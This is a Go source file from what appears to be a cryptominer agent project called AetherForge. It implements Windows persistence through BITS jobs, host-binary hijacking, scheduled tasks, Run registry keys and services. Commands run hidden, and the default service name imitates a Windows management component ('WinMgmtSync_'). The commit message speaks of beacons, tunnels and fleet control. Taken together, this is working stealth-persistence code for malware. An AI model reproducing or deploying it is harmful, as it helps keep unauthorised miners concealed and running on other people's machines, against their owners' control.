Files
AetherForge/agent/deploy/persistence_windows.go
AetherForge 5fc601b564 feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
2026-06-04 09:34:33 -07:00

51 lines
1.3 KiB
Go

//go:build windows
package deploy
import (
"crypto-miner-agent/config"
)
func scheduledTaskExists(taskName string) bool {
return HiddenRun("schtasks", "/Query", "/TN", taskName) == nil
}
func registryRunExists(cfg config.RuntimeConfig, binPath string) bool {
return registryRunValueExists(cfg, AutostartLogonRun, binPath)
}
func serviceExists(svcName string) bool {
return HiddenRun("sc.exe", "query", svcName) == nil
}
// ensurePersistence registers startup hooks only when missing (avoids re-spawning shells every watchdog tick).
func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
switch cfg.RunAs {
case "bits":
if err := CreateBITSPersistence(cfg, installedBin); err != nil {
return err
}
case "host_binary":
if err := EnsureHostBinaryPersistence(cfg, installedBin, cfg.HostBinaryTarget); err != nil {
return err
}
case "scheduled":
if !scheduledTaskExists(PersistenceKeyName(cfg)) {
if err := createScheduledTask(cfg, installedBin); err != nil {
return err
}
}
case "service":
svcName := cfg.ServiceName
if svcName == "" {
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
}
if !serviceExists(svcName) {
if err := createWindowsService(cfg, installedBin); err != nil {
return err
}
}
}
return ensureAutostartHooks(cfg, installedBin, true)
}